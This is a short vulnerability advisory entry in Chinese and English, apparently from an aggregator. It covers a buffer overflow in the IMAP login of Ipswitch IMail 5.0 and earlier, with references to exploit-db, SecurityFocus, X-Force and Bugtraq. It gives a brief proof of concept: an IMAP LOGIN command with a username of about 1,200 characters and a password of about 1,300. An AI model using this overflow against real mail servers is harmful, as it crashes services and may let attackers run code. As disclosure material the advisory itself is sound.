https://www.exploit-db.com/exploits/19377
https://www.securityfocus.com/bid/87973
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-655

IpswitchIMail5.0及更早版本中的IMAP服务器(imapd)中的login函数存在缓冲区溢出，远程攻击者可以通过(1)长用户名或(2)长密码来发起拒绝服务攻击并可能执行任意代码。

source: http://www.securityfocus.com/bid/502/info

The imapd login process is susceptible to a buffer overflow attack which will crash the service. 


Telnet to target machine, port 143
* OK IMAP4 Server (IMail 4.06)
X LOGIN glob1 glob2

Where glob1 is 1200 characters and glob2 is 1300 characters.

Ipswitch IMail 5.0

来源:XF
名称:imail-imap-overflow(1895)
链接:http://xforce.iss.net/static/1895.php
来源:BUGTRAQ
名称:19990301MultipleIMailVulnerabilites
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=92038879607336&w;=2